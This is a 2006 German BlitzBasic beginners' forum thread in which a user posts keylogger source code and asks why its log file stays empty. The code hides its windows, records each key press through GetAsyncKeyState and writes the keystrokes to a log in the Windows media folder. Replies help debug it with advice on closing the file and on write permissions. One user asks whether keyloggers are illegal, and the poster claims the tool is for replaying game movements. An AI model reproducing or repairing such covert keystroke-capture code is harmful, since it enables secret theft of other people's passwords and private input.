Was ist an Key-Logger falsch?

Übersicht BlitzBasic Beginners-Corner

Neue Antwort erstellen

 

Hops

Betreff: Was ist an Key-Logger falsch?

BeitragSa, Jul 22, 2006 13:45
Antworten mit Zitat
Benutzer-Profile anzeigen
Ich wollte mal Fragen, was an diesem Code Falsch ist:
Die Datei wird zwar erstellt, aber ist immer leer!
Der Code soll die Tastendrücke aufzeichnen.
Die asynckeystate-abfragen sind aus der user32.decls, oder wie die heißt! Die werden aber abgefragt, aber die Variable txt$ wird irgendwie nicht in die Datei geschrieben! Embarassed

Also, hier der Code:

Code: [AUSKLAPPEN]


win1 = CreateWindow("",0,0,0,0,0,0)
fenster = CreateWindow("Test",100,100,100,100,win1)
HideGadget win1
HideGadget fenster

win_dir$ = SystemProperty$("windowsdir")
file = WriteFile(win_dir + "media\read.log")


Repeat
   
   
   For i = 65 To 90
      t = api_GetAsyncKeyState(i)
      If t = -32767 Then txt$ = txt$ + Chr(i)
   Next
   
   For i = 48 To 57
      t = api_GetAsyncKeyState(i)
      If t = -32767 Then txt$ = txt$ + Chr(i)
   Next

   t = api_GetAsyncKeyState(32)
   If t = -32767 Then txt$ = txt$ + Chr(32)

   t = api_GetAsyncKeyState(186)
   If t = -32767 Then txt$ = txt$ + "Ü"

   t = api_GetAsyncKeyState(188)
   If t = -32767 Then txt$ = txt$ + ","

   t = api_GetAsyncKeyState(189)
   If t = -32767 Then txt$ = txt$ + "-"

   t = api_GetAsyncKeyState(190)
   If t = -32767 Then txt$ = txt$ + "."

   t = api_GetAsyncKeyState(192)
   If t = -32767 Then txt$ = txt$ + "Ö"
   
   t = api_GetAsyncKeyState(222)
   If t = -32767 Then txt$ = txt$ + "Ä"

   t = api_GetAsyncKeyState(219)
   If t = -32767 Then txt$ = txt$ + "ß"


      
   t = api_GetAsyncKeyState(8)
   If t = -32767 Then txt$ = Left$(txt$, Len(txt$)-1)

   t = api_GetAsyncKeyState(13)
   If t = -32767 Then txt$ = txt$ + "*"

   t = api_GetAsyncKeyState(9)
   If t = -32767 Then txt$ = txt$ + "#"

   t = api_GetAsyncKeyState(27)
   If t = -32767 Then txt$ = txt$ + "^"

   
   
   ;---Aktualisierung der Datei---
   If txt$ <> old_txt$ Then
      file = WriteFile(win_dir + "media\read.log")
      WriteLine file, txt$
   EndIf
   
   old_txt$ = txt$
   ;---Aktualisierung der Datei---
   
   
Until KeyDown(1) And KeyDown(28)
End





Danke schonmal, by

StepTiger

BeitragSa, Jul 22, 2006 15:35
Antworten mit Zitat
Benutzer-Profile anzeigen
ich weiß nicht, ob ich einfach nur unwissend bin, aber erklär mir mal, was die funktion "createwindow" ist!?!
noch nie gehört
Noch gestern standen wir am Abgrund, doch heute sind wir schon einen Schritt weiter.
Computer:
AMD Sempron 3000+; ATI Radeon 9800 Pro; 512 MB DDR RAM 400Mhz; Asus E7N8X-E Deluxe; Samsung 200GB HD 5.4ns acces t
Gewinner: BP Code Compo #2
Π=3.141592653589793238...<--- und das aus dem kopf Laughing
Seit der Earthlings-Diskussion überzeugter Fleisch(fr)esser.

JustTheBest

BeitragSa, Jul 22, 2006 15:49
Antworten mit Zitat
Benutzer-Profile anzeigen
Ok! Mein Fehler, sorry! Embarassed
Ist BP, hätt ich dazu schreiben sollen! Und nicht wundern, das ich jetzt unter "JustTheBest" schreib, war vorhin ausversehen noch unter dem neuen account von meinem Freund, der von hier was schreiben wollt, eingeloogt! Achja, ich bin sooo müde! Laughing
Aber jetzt zur Sache: Createwindow erstellt ein Fenster(GUI), aber das passt alles!
Mein Problem ist, wie ich grad gemerkt habe, dass sich das Programm immer Beendet, weil halt absolut nichts zu sehen ist!(HideGadget versteckt die Fenster!). Im debug-Modus klappts, weil der Debugger noch läuft, aber wenn man garnichts mehr sieht (normaler Modus), beendet sich das Programm sofort! Is irgendwie komisch! Kennt sich da wer aus?
Also, ich hoffe, jemand weis warum sich der Mist selber beendet, nur weil er nix ausgeben muss?? Liegt also warscheinlich nicht daran, dass es B-Plus ist...
mfg
www.mas-online.de.gg
__________

Liegt der Camper tot im Keller war der Rusher wieder schneller. Liegt der Rusher tot daneben hat der Camper nen Kollegen!

Hubsi

BeitragSa, Jul 22, 2006 17:09
Antworten mit Zitat
Benutzer-Profile anzeigen
Was mir als erstes auffält ist das hier:
Code: [AUSKLAPPEN]
win_dir$ = SystemProperty$("windowsdir")
file = WriteFile(win_dir + "media\read.log")

eine Datei geöffnet wird und hier:
Code: [AUSKLAPPEN]
file = WriteFile(win_dir + "media\read.log")
WriteLine file, txt$

dieselbige nochmal, ohne das sie vorher irgendwo geschlossen worden wäre. Wenn Du das zweite öffnen rausschmeisst und ans Programmende ein schliessen der Datei anhängst dürfte es prinzipell funktionieren, sofern Windows Dich in dem Ordner rumwurschteln lässt Very Happy Ich erinnere mich dunkel etwas gelesen zu haben das XP da empfindlich ist, aber sicher bin ich nicht.
Den ganzen Doag im Bett umanandflagga und iaz daherkema und meine Hendl`n fressn...

JustTheBest

BeitragSa, Jul 22, 2006 17:59
Antworten mit Zitat
Benutzer-Profile anzeigen
Erstmal danke für die Antwort! Wie oben gesagt, klappt alles, wenn ich den Debugger laufen lasse, also das Programm Lebenszeichen (in Form des Debuggers) von sich geben muss. Aber sobald ich alles verstecke und nichts außer der Prozess daraufhinweißt, dass noch irgendwas läuft, geht garnichts mehr! Wer will (und BP hat), der kanns ja mal probieren! Die Datei wird erstellt und vorbildlich gefüllt, doch ohne debugger geht garnichts mehr!
@Hubsi speziell: Die Datei wird jedesmal "überschrieben", wenn sich der Logg-Text (txt$) ändert! Deswegen immer das WriteFile!

Muss also irgendwie damit zusammenhängen, das BlitzBasic "abschaltet", wenn nichts dargestellt/alles versteckt wird!

mfg
www.mas-online.de.gg
__________

Liegt der Camper tot im Keller war der Rusher wieder schneller. Liegt der Rusher tot daneben hat der Camper nen Kollegen!

Fleamor

BeitragSa, Jul 22, 2006 18:20
Antworten mit Zitat
Benutzer-Profile anzeigen
Sin keylogger nich illegal Surprised Shocked
Ode wozu willst du ihn verwenden Wink
*schwupp* O.O
 

Dreamora

BeitragSa, Jul 22, 2006 18:25
Antworten mit Zitat
Benutzer-Profile anzeigen
wenn es mit debugger läuft und ohne nicht würd ich sagen, das es auch mit debugger nicht läuft. Es dauert dann einfach viel länger bis die Loops gleich weit sind.

Und schliesse die Datei nach dem Schreiben am besten wieder. Es gibt nichts das dagegen spricht sie immer wieder zu öffnen um zu überschreiben (wenn der Text nur länger werden kann, wäre allerdings ein Seek zur Position 0 sicher effizienter)
Ihr findet die aktuellen Projekte unter Gayasoft und könnt mich unter @gayasoft auf Twitter erreichen.

JustTheBest

BeitragSa, Jul 22, 2006 18:31
Antworten mit Zitat
Benutzer-Profile anzeigen
Erstmal Danke!
Aber ich will mit dem Teil mal beim Spielen gucken und auswerten/nachstellen, wie /wohin man sich bewegt hat! Nenns einfach "Spielbewegungsaufzeichner!" Laughing
@Dreamora: Also gut, schließen! Aber ihr könnts ja mal Probieren, wenn ihr mir nicht glaubt! Irgendwie glaub ich langsam, ich bin verrückt Crying or Very sad ! Ihr könnt ja einfach den Pfad auf den Desktop ändern, laufen lassen und immerwieder schauen, was passiert!

mfg

p.s.: am Anfang hatte ich den Fehler, das die Pfadvariable beim Datei-Schreiben kein String-$ hatte! Aber daran lags nicht!
www.mas-online.de.gg
__________

Liegt der Camper tot im Keller war der Rusher wieder schneller. Liegt der Rusher tot daneben hat der Camper nen Kollegen!
 

Dreamora

BeitragSa, Jul 22, 2006 18:38
Antworten mit Zitat
Benutzer-Profile anzeigen
Der einzig zulässige Pfad zum Schreiben einer Datei ist der Eigene Dateien Ordner *an jeden anderen Ort kann man nur auf Admin Account schreiben*
Ihr findet die aktuellen Projekte unter Gayasoft und könnt mich unter @gayasoft auf Twitter erreichen.

JustTheBest

BeitragSa, Jul 22, 2006 19:03
Antworten mit Zitat
Benutzer-Profile anzeigen
Gut, aber was soll mir das jetzt sagen? Naja, die Datei wird ja, wenn man den Prozess/das Programm beendet, erstellt(mit Debugger gefüllt)
Naja, auch halt nur, wenn der Prozess beendet wurd! Wenn jemand weiter vorschläge hat, hier lauscht ein offenes Ohr!
mfg
www.mas-online.de.gg
__________

Liegt der Camper tot im Keller war der Rusher wieder schneller. Liegt der Rusher tot daneben hat der Camper nen Kollegen!

Neue Antwort erstellen


Übersicht BlitzBasic Beginners-Corner

Gehe zu:

Powered by phpBB © 2001 - 2006, phpBB Group